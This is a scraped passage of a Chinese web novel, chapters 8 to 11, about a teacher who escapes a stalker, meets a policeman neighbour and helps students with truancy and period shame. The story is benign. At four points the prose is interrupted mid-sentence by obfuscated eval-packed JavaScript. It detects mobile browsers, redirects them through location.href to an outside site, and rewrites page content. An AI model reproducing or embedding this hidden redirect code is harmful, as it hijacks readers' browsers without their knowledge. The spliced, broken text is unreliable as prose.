d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509896|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音呼喊救命,看到门卫处的灯亮,悬着的心才重重放下。 不远处路口的灯光下站着一个人,一半暴露在光亮中,一半隐藏在黑暗里,他双手插兜,周身散发着寒意,虎视眈眈地盯着她,尽管他全身包裹得很严实,夏微宁还是一眼认出这人是魏战。 她坐在地上一点点往后退,恢复一些体力后撑地起来,靠在小区的门上。 这里还没有装门禁,她只能不断撞击铁门发出声响,门卫大叔拿着手电筒嘟嘟囔囔的起床,“这么晚了,谁呀?” “帮我开下门。” 大叔看她这样子快步去开门,“丫头,你没事吧?” “后面有人追我。” 顺着她手指的方向看去,空无一人,魏战整个人隐藏在黑暗中。 夏微宁笑了笑,谢过大叔后,晃晃悠悠走进小区。 她害怕魏战在后面跟踪她,在小区里转悠了一圈才回去,关好门窗,做好防范措施才去洗漱。 这一次可把她折腾得够呛,躺床上好久身体的不适感才慢慢消失,又累又困,没一会就睡着了。 “咚咚……” 突然传来几声重重的砸门声,还有玻璃瓶破碎的声音,夏微宁立即从睡梦中惊醒,她不敢开灯也不敢发出声响,拿着手机小心翼翼地走到阳台拨打报警电话。 门上的声音越来越重,直接开始用脚踹用斧头砸,每一次声响都把她吓得直哆嗦,看样子魏战是不打算放过她。 在小县城里,面子是生存的根本,比什么都重要,他几乎已经社死,肯定会疯狂报复夏微宁。 夏微宁不知道这门能不能撑到警察来,她必须找其他办法,如果被魏战闯进来,自己就完了。 她可以向周围的人求助,如果是在房间里喊被魏战听到,他会更加疯狂,所以她选择阳台。 这里的户型阳台是互通的,她不知道周围住的是什么人,平时也没见过,但今天亮着灯,她想赌一把,用晾衣杆去敲旁边的窗户,扯着嗓子喊:“救命呀,救命呀……” 盛淮洲刚洗完澡,水流声散去,隔壁清晰的砸门声传入耳中,阳台处传来轻微的求教声,他当即明白了,随手扯个毛巾擦拭头发,推门走出去。 “你在干什么?” 听到呵斥声,魏战停下手里的动作。 “没干什么。”他说着就要走,被盛淮洲拦下。 “非法侵入他人住宅寻衅滋事,这叫没干什么?” “滚开,少管我。” “那你知不知道这里是哪?” 魏战反应过来,“你是警察?” 盛淮洲没有理他,反手将他制服,“老实点!” 夏微宁躲在门后,能听清外面的动静,她知道自己没事了,手中的刀直直落在地上,整个人瘫软在地上,吓得失魂落魄,她第一次这么近距离感受死亡的威胁。 双手抱腿瑟瑟发抖,眼泪在她不知情的情况下自行流出。 出警的警察赶来,盛淮洲将人交给他们,轻声敲门,“没事了,你还好吗?” 夏微宁哽咽着回应,“我很好。” 他闻声笑了,声音都在发抖还要说自己很好。 “你收拾一下,需要去所里做个笔录。” “好,稍等。” 夏微宁擦干泪去洗脸,换上衣服,打开被砸得惨不忍睹的门,看到面前的人时愣了一瞬,盛淮洲眸中同样也很震惊。 两人指着对方,异口同声,“是你!” 8. 第 8 章 夏微宁没想到自己隔壁竟然是盛淮洲,盛淮洲也没想到她竟然住在这,要不是下班太晚,他也很少到这住。 他很高,刚洗完澡,头发还没干,夏微宁能闻到他洗发水的香味,她一直低着头,“刚才谢谢你,我先去派出所。” “我开车带你去吧。” “那就麻烦了。” 她率先下楼,不敢和他靠得太近。 夏微宁有个毛病,不太敢直视那些优秀的人,也许是因为自卑,就算走在路上,碰到一个高高帅帅清爽干净的男生,她都不太敢盯着看,总觉得这样的人不是她可以亵渎的。 这也是她幼年留下的心理阴影之一。 还有一个原因,她觉得盛淮洲瞧见了她最不堪的一面,所以她不想和他有过多牵扯,会下意识躲着他,也是为了维持自己的自尊心。 盛淮洲开车,她就坐在后面,静静看着窗外,一路上都很沉默。 到了派出所,郑睿等在门口,夏微宁下车直奔他而去,“郑警官,不好意思,又麻烦你了。” “这本就是我们的责任,你怎么样?” 夏微宁苦笑着摇摇头,“我就想知道能不能判他个几年?” “鉴于我们目前掌握的情况,应该还不太行,最多几个月。” 盛淮洲摇着车钥匙信步走来,眼睛扫过夏微宁,最后落在郑睿身上,“问得怎么样?” “说自己喝醉了无意识所为。” “倒挺会的,你们怎么看?” “结合之前的案件,综合分析是针对性报复行为。”郑睿说完看向夏微宁,“夏小姐,请您再做下笔录。” “好。” 她把事情前因后果讲清楚,对着周围眼露同情的人释然一笑,“我可以走了吗?” “当然可以。”郑睿站起来,“我安排人送你。” “不用了,我顺路带她回去。”盛淮洲已经拿着车钥匙站起来。 夏微宁没有拒绝,她们现在就是萍水相逢的陌生人,她需要车他能提供帮助,这就够了。 刚走出派出所门口,魏战老婆正急匆匆赶来,看见夏微宁骤然停下,咬牙切齿地问她,“你到底怎么样才肯放过我们家。” 她只觉得这句话好笑,“我才是受害者,你不如去问问你丈夫什么时候才能放过我。” “你就没有错吗?不是你先报警,会有这些破事吗?” “你丈夫不伤害我,我自然不会报警,你们两还真是天造地设的一对,一个狼心,一个狗肺。” “警察同志。”她开始拉盛淮洲站队,“你都听到了,她说话这么恶毒说明也不是什么好人。” “对,我不是一个好人,所以别再招惹我,不然就把你全家都杀了。” 最后几个字她是咬牙说出来的,听得人直打颤。 夏微宁冷着脸,一把推开挡在面前的魏战老婆,“滚开!” “我一定会告你的,你不会有好下场的。”魏战老婆在后面气得破口大骂,夏微宁嘴角轻挑,冷哼一声,满是不屑。 坐到车上,她还是一如既往的安静,盛淮洲从后视镜扫她一眼,“为什么要说那句气话?” 夏微宁还是盯着窗外看,面无表情的回话,“也许不是气话。” 盛淮洲没再说什么,两人就这样保持沉默,车停到小区,夏微宁再次表示感谢,随后下车回家。 她现在心里很平静,平静到像个机器人,不悲不喜,完全按照指令去做事情。 短短几天经历这么多事,她已经能在短暂的恐慌之后接受事情的发生,关键是后续怎么解决。 夏微宁躺在床上认真想对策,这一次很幸运能被救,但她不能一直依靠别人,还是要靠自己,她必须拥有足够的自保能力。 当即下定决心,她要去学拳击,这个应该比跆拳道更适合现在的她。 翌日,周末不用上班,她收拾好东西准备出门报课,正好碰上出门的盛淮洲,两人简单打个照面,都没有说话,出了小区分别走向不同的方向。 夏微宁找了几家拳击馆综合评比,最终选择学校附近的一家,没课就可以过来练。 教练把签好的合同交给她,“因为你的年龄偏大,身体也比较硬,前期训练会很累很辛苦,希望你有心理准备。” “没关系,我能坚持。” “那就行,来之前给我打电话就行。” “好。” 夏微宁将合同塞进包里,走出拳击馆。 她现在也没事,就一个人在街上瞎逛。 “夏老师。” 她还在寻找声音来源,一辆车停在她面前,车窗缓缓下降,夏黎和盛轩从车上下来。 还没等她开口就看到驾驶座上的盛淮洲,夏微宁有些好奇。 “你们怎么在这?” “叔叔兑现上次期末考试的奖励,带我去吃饭,我让夏黎和我一起。” “叔叔?”夏微宁简直不敢相信,指着盛淮洲问:“他是你叔叔?” “是的。”盛轩抿着嘴很肯定地点头,“夏老师,你认识我叔叔?” “不认识。” 听到她迫不及待的否认,盛淮洲嘴角微微上扬,冷哼一声,重重按了喇叭。 夏微宁看一下,催促两个小朋友,“你们快去吧。” “夏老师,你和我们一块去吧,让我叔叔请客,他有钱。” 盛淮洲:…… 夏微宁:啊,尴尬到脚趾抠地。 大人们的成熟缜密有时候真会被童言童语打败。 “走不走?”盛淮洲又催了一次。 夏微宁真的不想去,奈何两个小朋友一人拉一个胳膊,把她塞到副驾上。 她在座位上动来动去,那叫一个坐立难安。 盛淮洲淡淡瞥一眼,“怎么着,内急?” 夏微宁系好安全带,狠狠瞪他一眼,扭头看向窗外。 她在思索盛淮洲和盛轩,之前自己的生活中没有他们,也就是说因为这次改变了过去的轨迹,所以认识了新的人,可与他们交往到底是好是坏呢? 她不知道也不敢想,只希望是好事吧。 夏微宁不知道自己是太过成熟还是陷入一种病端,就是她不敢奢望好运,遇到一个人一件事,下意识反应都是不好的事,然后意识到这个想法不对,再花费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509897|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很长时间去告诉自己是好事,最终劳神费力,常常把自己搞得很疲惫。 盛淮洲不经意见看见她的神态,觉得很奇怪,她身上带着一种决绝感还有淡淡的忧伤,看着很有活力但整个人的底色是悲观。 四人的心情完全不同,两个小朋友兴高采烈,讨论着要吃什么,夏微宁始终保持安静,极力降低存在感,盛淮洲则是一副无所谓的样子,双手插兜走在最后面。 点餐完全由两个小朋友主导,她俩好像在较劲,都很高冷,时不时看对方一眼又快速转移视线。 盛轩把菜单递给盛淮洲,“叔叔,你点一下吧,不然你真的很像专程来付款的。” 盛淮洲轻轻敲他的头,“难道不是吗?” 夏微宁给他一个嘲笑的眼神,还挺有自知之明。 盛淮洲捕捉到她的笑,放下菜单,嘴里叼着牙签,似笑非笑地盯着她,“你是老师?” “对,有何指教?” “指教谈不上,就是觉得教书育人挺神圣的。” “多谢你对我工作的赞美,我觉得人民警察也挺伟大的。” 虽然两人都在称赞对方职业,但不管是语气还是态度都感受到一股火药味。 两个小朋友被这夹枪带棒的样子吓到了,只好低头默默吃东西。 夏微宁看着丰盛的食物有些饿了,任何原因都不能委屈她的胃,所以抓起食物也开始吃。 盛淮洲直接乐了,“还以为你不食人间烟火呢。” “我和你AA,自己买的饭为什么不能吃。”说着还意有所指地盯着他,“是人就会吃饭,你不吃饭?” 盛淮洲愤愤地接过食物,大口吃起来,那样子感觉有什么深仇大恨似的。 其他三人直接看笑了,差点喷出来。 还没吃完,盛淮洲电话响起,临时有任务,他看向夏微宁,“麻烦你把两个孩子送回去。” “放心吧,你赶快去忙。” 等他走后,夏微宁松口气,突然开始一通夸张的表演,“高压锅走了,空气终于恢复正常了。” 两个小朋友被她逗得直笑,夏黎还一本正经的为盛淮洲解释,“其实淮洲哥哥是个非常好的人。” 夏微宁觉得匪夷所思,“他是盛轩的叔叔,你叫他哥哥,这合适吗?” 夏黎一脸认真像个小大人,“我以前也是叫他叔叔的,他说都叫老了,让我不用和盛轩一样叫,各叫各的。” “切,还挺会给自己脸上贴金。” 盛轩大眼睛里满是疑问,“夏老师,你之前是不是认识我叔叔,而且他还得罪过你?” “没有啊。”夏微宁摇摇头,突然想到什么,捧着脸惊恐地问:“我和他的关系看着很差吗?” “嗯,很差。” 两个小朋友对视一眼,给她一个异口同声的答案,怕她不信,两人嘟着嘴重重点头,夏微宁怕她们脑袋出什么问题,急忙阻止,“好好好,我相信你们,别点头了。” 夏微宁心里也很奇怪,按理说是盛淮洲救了自己,心里也很感谢他,但不知道为什么碰到他就很容易上头,情绪瞬间起来,她仔细想了想可能和他的态度有关。 9. 第 9 章 夏微宁的生活开始步入正规,每天除了备课上课,有时间就去练拳击,因为她年龄大、身体硬,练这个没少吃苦,浑身是伤,胳膊疼到抬不起,但她一直在咬牙坚持。 她其实胆子不大,对外嘴上说得狠,心里还是会害怕,只有当她拥有足够力量时才有底气,无惧任何人。 今天练完之后,她买了好多肉去看爷爷奶奶,“你们坐着别动,我来做饭。” 奶奶哪肯让她动手,“还是我来吧,你这经常来看我们,比我们闺女儿还孝顺,咋还能让你干活。” “我来看你们也是应该的。”夏微宁手里洗着菜,“你们应该多吃些肉补充蛋白质。” 老人们也不知道蛋白质是什么,就知道多吃肉营养好,但没有那个经济条件,所以都很节省。 夏微宁印象中爷爷奶奶真的很少吃肉,经常是清汤面条,两个人都瘦得厉害。 这一次她会一点点改善爷爷奶奶的生活质量。 爷爷拿着整理好的鸡进来,“丫头,以后别买这些了,多费钱,你赚钱也不容易,这街坊邻里谁都没有咱家生活好,天天吃肉。” “有这个条件该吃就吃,这花不了几个钱,再说我有的是钱。” 爷爷奶奶宠溺地笑着,两人配合的很好,一个烧锅一个做饭,厨房内温度很高,夏微宁眼睛慢慢有些湿润,这温馨的场景是多少钱都换不来的。 夏黎刚进家门就闻到香气,直接往厨房跑,“又做好吃的了?” 奶奶夹起一块肉喂给她,“你夏老师买的鸡,我给你们炖了,快去洗手吃饭。” “好烫。”夏黎把肉放在手里,烫得呲牙咧嘴。 “没人给你抢,慢点吃。” 夏黎有点无语,“奶奶,是你喂给我的。” “对对,我的错。”奶奶笑着递给她一个碗,“放这里。” “这还差不多,等一会我再吃。” 眼前的情景让夏微宁看得着迷,爱果然是治愈伤口的良药。 她想要的无非就是家人平安健康幸福。 吃饭期间,夏微宁说到奶奶的心脏病,“有时间去大医院检查一下,每次去卫生院输水受罪还治不好。” 所有人明显一愣,夏黎问出大家的心声,“你怎么知道奶奶有心脏病的?” “我……”夏微宁笑了笑,“我是看奶奶这么瘦猜的。” 奶奶低着头捡桌上掉落的饭粒,“检查啥,纯浪费钱,天天在家不干啥重活,不会犯病。” “病就得瞧,不然不会好的。” 奶奶没再说话,默默吃着饭,气氛很是尴尬,夏微宁的目光在几人脸上来回转,最后叹息一声吃自己的饭。 夏微宁其实理解奶奶的顾虑,她是不想给自己孩子压力,不想让他们为难,毕竟生活都不容易。 奶奶就是这样,还是老一辈的思想,她可以永远困在一方天地里,不会想着去外面见识新世界;她的命属于子孙后代,总想着为儿孙们多做些什么,不想成为家里的负担,所以她可以忍,忍下生活的磨难和疾病的折磨,哪怕她被病痛折磨得呼吸不过来,她也可以忍下去,她活得很容易却又很艰难。 夏微宁回到家还在想怎么能多赚钱,只有赚到钱才能劝说奶奶去治疗。 她心中刚有点眉目就被学校的事耽误了,最近早恋、逃课的学生很多,学校就组建巡逻队,校长和主任各自带队,成员是各年级教师,拿着手电筒专门在晚自习的时候躲在角落的围墙处等着抓人,还真能抓到几个。 夏微宁还记得有个初二的学生,从外面上网回来,刚爬上墙被老师从上面拽下来,齐刷刷的手电筒对准他,校长厉声喝斥,“哪班的,叫什么?” 可能是那个学生这么多年最窘迫的时候,根本没脸见人。 后来全校开展整治工作,让老师加强对学生的思想教育工作。 夏微宁的一节晚自习被改成班会,主要谈学生早恋、逃课、迟到的问题,她主动向班主任李老师申请自己来讲,李老师虽有诧异还是答应了她。 这是一节很难上的班会,不光是对学生的教育,更是她对自己过往的剖析,是她打开心扉的关键一步。 她站在讲台上,目光落在前排的夏黎身上,微微一笑,视线扫射全班,缓缓开口:“你们是不是好奇为什么是我来开这个班会,这是我向你们班主任申请的。” “我知道你们会好奇,不用急,听我慢慢说。”夏微宁搬把椅子坐在讲桌旁边,“我如果问你们有没有早恋,有没有逃课你们也不会告诉我对吧。” 教室里很安静,静得可以听见衣服的摩擦声。 有几个学生低着头不敢和她直视,她心里多少有数,不过她不打算追究。 “我给你们讲一个故事吧。” 下面的学生无动于衷,他们早就习惯了班会听班主任吹嘘自己,夏微宁无奈一笑,自己之前好像也是这样,班会就是听班主任讲自己的光辉事业以及爱恨情仇,甚至听老师说出自己同学娶了小很多岁的学生,她当时还疑惑班主任怎么什么都说。 通过班会学生可以了解到班主任的求学历程、爱情故事及家庭生活,听得多了估计都脱敏了。 夏微宁没有理会这些,自顾自地讲起来,“之前有一个女孩,因为从小家庭条件不好,经常被人看不起,到哪里都很容易收到嫌弃的白眼,她就变得敏感又自卑,就开始打扮自己,觉得只要自己收拾得很漂亮,就没人会再看不起自己,这是因为她渴望得到别人的关注,但她选择了一个错误的方式。” 台下的学生终于不再是无动于衷,慢慢有人抬头看她,眼里开始动容,迫不及待想知道后面的发展。 夏微宁却不慌忙讲,她将每个学生的表情收入眼底,知道他们当中有人也存在这种心理。 青春期的孩子朦胧又脆弱。 “你们想听我继续讲吗?” “想。” 夏微宁满意地点点头,“恰巧此时发生一件改变她人生的事情,从那以后她开始彻底放弃自己,频繁出入理发店、服装店和网吧,她不顾家里的实际情况,经常拉、染头发,几乎每星期都在买新衣服,她会打扮得光鲜亮丽地走在校园里,接受大家注视的目光,只有这样她才不会自卑,那时候的她没心没肺,从不会内耗,我不知道你们知不知道这个词什么意思,就是说她从不会考虑别人,只顾自己追求美,更不会反思自己,她很轻松,心安理得地挥霍着。” “后来呢?” “后来呀,她觉得这样还不够,她想收到更多人注意的目光,就开始频繁逃课、迟到,她享受在老师和同学的注视中骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509898|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傲地走进教室,讲台成了她展示的舞台,脸上没有半点内疚自责,也没有不好意思,反而昂首挺胸,像接受检阅一样,以为这种能吸引那些人的注意,错误的观念充盈着她的大脑,她觉得这是很酷的事,甚至被老师叫进办公室骂也觉得很帅,心里还会脑补出别的同学说卧槽,她又被老师骂了,然后一个人在那装深沉,实际上无人在意。” 夏微宁慢慢动情,声音有点哽咽,“后来她才明白这种事一点都不酷,只会加深她是坏学生的印象,其实她那时也差不多就是一个坏学生。” “老师,这个人是你吗?” “是我。” 她终于敢在众目睽睽之下讲出自己不堪的过往,她知道过不了多久可能全校都会知道,甚至很多家长也会知道,但没关系,这些事压在心中太久,她终于可以释放一些。 这是她自我救赎的第一步,正视所有真实的自己。 “同学们,老师今天想和你们说的是迟到、逃课从来不是酷,那是自我堕落;早恋也不是酷,不要因过早成熟而忽略了最宝贵的青葱岁月,在老师怒骂和同学的凝视中进班更不是酷,那是自我放弃。” 台下再现骇人的沉默,所有人注视着夏微宁,她的话完全契合很多人的行为,甚至连心理都相差不多,不由得让人惊出一身冷汗,老师就好像他们身边的朋友。 她们曾经确实是朋友,台下这些人很多是夏微宁的“同伙”,她看到了自己的好朋友王秀涵和赵琳低着头,过去她们三是有名的“迟到搭子”。 “你们想知道我后来怎么样了吗?” “考上大学了呗。” 夏微宁笑着摇摇头,“对也不对,我当时和一些同学关系比较好,男生女生都有,也确实有人说过喜欢我之类的,但那都是假的,我知道注意分寸,结果外面到处说我十七八岁就和外面的男人在一块了,到哪里看到的都是嫌恶的眼神,家们长纷纷不让自己孩子和我玩,其实我真的没做过。” 夏黎咽了咽口水,心中莫名的传来一阵痛楚,她不知道自己怎么了,就是很想抱抱夏老师。 “谣言越传越烈,我很害怕。同学们,你们知道怕到全身发凉的感觉吗?在夜里我抱着自己瑟瑟发抖,提心吊打难以入睡,那一瞬间我感觉血液都在凝固,经过一段时间后我退学了。” 台下一片哗然。 夏微宁微微一笑,“我去了外地,体验了你们都想象不到的工作,那一刻我把自己的自尊放在脚下踩,彻底舍下面子,开始真正的蜕变,一年后我选择回到学校重新复读,在老师怀疑的目光中坚持学习,第一次班会我在台上说出自己是上一届复读的,加入一个全新的环境,我竭尽全力向老师证明我不再是之前的那个自己,开始没日没夜的学习,最终成功考上大学。” 这些话深深震撼了台下的学生,他们似有千言万语又无从开口。 “同学们,在我重回校园的那一刻找到人生正确的方向,代表着我和过去的自己完全切割,但这中间经历的一切太过痛苦,我不希望你们和我一样,我希望你们可以开心快乐的走向人生的远方。” 话音落,教室里响起热烈的掌声,很多学生都哭了,为台上的老师也为台下的自己。 夏微宁视线穿越掌声,定格在夏黎身上,两人默契的对视、微笑。 10. 第 10 章 晚自习结束后,夏黎依旧在门口等夏微宁,看到她出来急忙叫住,“夏老师。” “怎么了,心情不好?” “你怎么知道?” 夏微宁轻笑一声,“你情绪低落的都写在脸上,无精打采的,到底怎么了?” 夏黎抬眼看向夏微宁,一副欲言又止的样子,好像很为难。 “你不用把我当老师,我们是朋友,你说的话我一定会帮你保密的。” “我可以相信你吗?”小姑娘怯怯地发问。 “当然可以,你永远都可以相信我。” 夏黎抿着嘴,犹豫再三喃喃说道:“我朋友好像有点像你今天说的那样,该怎么办?” “王秀涵和赵琳?” “你怎么知道?” 她当然知道,还有一个女孩,她们当年可是被班主任称为“四大天王”的。 夏微宁最好奇的是夏黎,“你会想着逃课、早恋吗?” “不会,我喜欢上学。” 看着眼前的‘自己’,她心中既欣慰又很感慨,勤奋好学又很听话,完全是想象中完美的好学生形象,但她又真实存在。 “她们俩的事交给我,你专心学习。” “你别说是我告诉你的,我只是不想看她们越走越错。” “我明白。” 两位好朋友的事确实要想一个有效的方法,夏微宁不愿意看到她们再走之前的老路。 翌日,夏微宁上午没课,就吃过午饭才去学校,刚进校门就被谭娅拉到一旁,“有件很重要的事要和你说。” “什么事,神神秘秘的。” “我公公他们单位有个男生很不错,要不你们认识一下。” 夏微宁委婉拒绝,“不用了吧。” “小伙子条件很好,事业单位的正式员工,家里独生子,车房都有,父母都是工人有退休金,养老不靠你们。” “人家条件这么好,凭什么看上我呀。” “你这话说的可不对,咱条件也不错,神圣的人民教师,这长得也漂亮。” 还没等夏微宁答应,夏黎一路小跑着过来,弯着腰大口喘气,“老,老师,终于找到你们了。” “别急,慢慢说,发生什么事了?” “你们快去看看吧,沈钰婷正在厕所里哭。” 谭娅有些着急,“到底发生什么事?” “她身上来例假,用的纸太薄了,弄的裤子上都是,还沾到椅子上,被班里的人看到,有人说了句恶心。” 夏微宁脚步一滞,思绪不由得又被扯回到从前,同样的事她也经历过一次。 她初潮是在小学来的,年龄偏小,来月经的人比较少,妈妈在外打工,奶奶也没说太多,自己也不懂,学校厕所是一排蹲坑,没有阻挡物,她害怕被人看到自己换纸,每次上厕所都偷偷摸摸的,以至于经常弄到裤子上,就这样带着月经的错误认知升到了初中。 那时候很少用卫生巾,都是用厚厚的纸,纸不吸血,加上她不忌口,一天吃很多冰淇淋,月经量很大,常常十来天才走干净,每次都会弄到裤子上,后来妈妈给她买卫生巾,她分不清日用和夜用的,晚上也是用日用的,所以还是会弄到床上,后来她晚上都是用两个日用的拼接。 在学校为了起床快都会穿着裤子睡觉,她还记得有一次来月经,裤子已经弄湿但她不知道,黑灯瞎火的起床去上早读,二十分钟后跟着去跑早操,那时候感觉到不舒服,却没有向老师请假,跑完操回到教室,大家都用异样的目光看着她。 同桌提醒她,才发现椅子上被染上了血迹,她低着头羞愧的走到座位上,脸色通红,用纸一点点擦拭着椅子上的痕迹,前排的一位男生很嫌弃地瞥了一眼,说恶心死了,这个还是她认为关系不错的同学。 一句话摧毁了她的自尊和面子,她觉得很丢人,别人都会看不起自己。 把椅子擦干净,才向班主任请假回宿舍换衣服,出了教室她摸了摸裤子,手上黏糊糊的,羞愧得直接落泪。 换好衣服她低着头走进教室,不敢看其他人的眼睛,一早上坐在那背书,拿着笔不停的画,嘴里一直念念有词,却一个字都无法入脑。 她没办法集中精力,或者说她的脑子只能做一件事,不断回想那句话则耗费了她所有的精力,一直困在别人的眼光中无法自拔,终于在伤心后悔中浑浑噩噩度过一节早自习。 那一天她都很少说话,除了去厕所就坐在座位上不动,她觉得自己好像被世界抛弃了,让本就敏感的心更加脆弱,让本来自卑的她更加不自信。 从那以后例假成为她难以启齿的秘密,也就是月经羞耻,每次来例假时都会穿黑裤子,这样弄到衣服上也看不出来。 后来妈妈告诉她来例假不要吃凉的、辣的,多喝热水,慢慢调理的量正常了,但月经羞耻没有消失,直到后来上大学遇到一个女体育老师才知道女生要爱护自己的身体,来例假时不要运动,体育课可以在一旁休息,老师还会说看你脸色那么白一定要好好休息。 “夏老师,你想什么呢?” 谭娅叫了夏微宁几次,她都没有回应,这次撞了她。 夏微宁回过神来,“没,没想什么。” 三人快步赶到厕所,小姑娘正蹲在角落里哭,夏微宁蹲下搂着她的肩膀,“是不是很疼?” “嗯。” “走,我给你拿药。” 小姑娘抬起头茫然的看着她,夏微宁回之肯定的眼神,牵着她的手走出厕所。 “喝了药感觉怎么样?” “肚子暖暖的。” 夏微宁从自己办公桌的抽屉里找出卫生巾,“你拿去用。” “老师,这个多少钱?” “不要钱,你用就好。” “这不太好吧,我在超市看过这个,很贵的。” 夏微宁心中一阵唏嘘,果然懂事的孩子最敏感,也最让人心疼。 “你就当作是老师送给你的礼物,快和夏黎回班。” “谢谢老师。” 她说完却没有回去的意思,夏黎当即就明白了,“你是觉得自己很丢人?” 小姑娘诧异又迟疑地点点头,夏微宁心疼地抱住她。 “你不丢人,这是每个女孩子都会经历的正常现象,这是我们特有的生理特征,一点都不丢人,这是我们和身体每月一次的约会,它是纯洁的诚挚的无暇的。” “好的,夏老师,我明白了。” “你痛经,多注意点,这几天少吃冷的辣的,多喝热水。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509899|170577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,谢谢夏老师、谭老师。” 夏微宁看向夏黎,“你和沈钰婷一块进班,一定要昂首挺胸地走进去。” 两个女孩相视一笑,“好。” 夏微宁知道这种痛苦,她不想再有别的女孩像她一样敏感自卑,拍了拍一旁地谭娅,“谭老师,你是组长,这件事有什么好的处理方法?” “我们要警惕这种现象,给李老师说一声必须引导学生勇敢反对言语霸凌。” “还有行为霸凌。”夏微宁补充道。 “李老师是位男同志,处理这种事合适吗?”谭娅看向夏微宁,“找李老师沟通一下,这件事交给你去处理。” “我一个新人处理这种事拿捏不好分寸怎么办?” “放心吧,我在一旁给你撑腰,没问题的。” 最终,这个任务还是落到了夏微宁身上,当天班会,谭娅和班主任李老师都在。 教室里吵吵闹闹,李老师率先进班,吵闹声瞬间停下来,他严厉地扫射台下,“你们到外面听听,整个走廊都是咱们班说话的声音,都不知道你们哪来的那么多话,要不你们先说,我在这等你们说完。” 台下的人大气不敢出,李老师这才继续说:“你们都不说,那我可就说了,今天我们开个临时班会。” 说完看向夏微宁,“夏老师,交给你了。” 夏微宁走到讲台上,拿出一片卫生巾展示,“大家知道这是什么吗?” “知道。” 不少女生说完脸都红了,害羞地低着头,有几个男生在笑,夏微宁猛地拍桌子,厉声喝斥,“笑什么,有什么好笑的?” 随手指了一个人,就是嘲讽沈钰婷的人,“史壮壮,你在笑什么?” “没,没笑什么。” 夏微宁拿着卫生巾走到他面前,“你觉得这东西恶心吗?” “不恶心,那你觉得女生来例假恶心吗?” 田壮壮明白了夏微宁的意思,红着脸摇头否认,“不恶心。” “田壮壮同学说得很对。”夏微宁拍拍他的肩膀,“你先坐下。” 她再次回到讲台,“同学们,我们要对身体的生理现象、对自己对他人有足够的尊重,树立正确的认知,你们都很年轻,处在最有希望的年纪,不要把时间浪费在无意义的事情上,尊重别人的前提首先是尊重自己,当我们嘲笑欺凌别人时,丢掉的是自己的素质,希望你们能明白。” “明白了。” 夏微宁找到沈钰婷的位置,对她点点头,露出发自内心的笑容。 沈钰婷激动地看着夏微宁,眼睛里充满泪光,拿起笔在本子上写下【我喜欢夏老师。】 夏微宁回到办公室,仔细复盘这件事,觉得还有地方需要补充完善,必须想一个办法切实帮助到这些女孩。 她刚准备去找谭娅商量,谁知周仁庭从外面走进来将她拦住,“夏老师,你晚上有事吗?” “没事。怎么了?” “我朋友开了一家饭店,有没有兴趣一块过去坐坐?” 夏微宁有些为难,局促地摸着脖子,“我就不去了吧,你们玩得开心。” “哎……” 周仁庭还没来得及叫住她,人已经走出办公室,只剩一声声失落的叹息。 11. 第 11 章 夏微宁去找谭娅,“我有正事和你说。” “你先别说,我问你一件事,周仁庭刚才约你去吃饭?” “你怎么知道?”夏微宁惊呆了,“也就五分钟的时间,这就传开了?” “怀疑什么都不要怀疑小道消息传播的速度,毕竟大家的业余爱好也就这了。” “这次见识到了。” 谭娅起身接杯水,走到夏微宁身旁,八卦地问:“你怎么想的?” “什么怎么想的?” “我说你是真不懂还是装糊涂,他这是在追求你。” 夏微宁一口气没传上来,咳个不停,“不可能的事,别瞎说。” “怎么不可能,不然为啥非请你去吃饭。” “那你去问他。” 谭娅咬着杯沿,细细盘算着,“说实话,他条件也不错,你可以试着交往一下。” “我的大组长。”夏微宁都有些无语了,“八字没一撇的事。” “我知道了,女生确实不能太主动,要等他给明确的表态,而不是现在这样模糊的暗示。” 夏微宁彻底放弃了和她交流的欲望,奈何正事还没说,不能摔门离去。 “谭大组长,我找你是有正事的。” “什么事,你说。” “我想弄一个爱心角落,在那里放置卫生巾及其他一些必需品,免费让大家用,帮助那些条件不好的孩子。” “这个想法挺好的,我们去和张主任汇报一下,看看后续怎么落实。” 张主任对这个想法很赞同,也存在一些疑问,“物资来源怎么解决?” “我可以出钱买。” “夏老师,我知道你是好心,但我们从事教育工作还要保证安全,例如学生使用后存在不良反应的情况,怎么解决?” 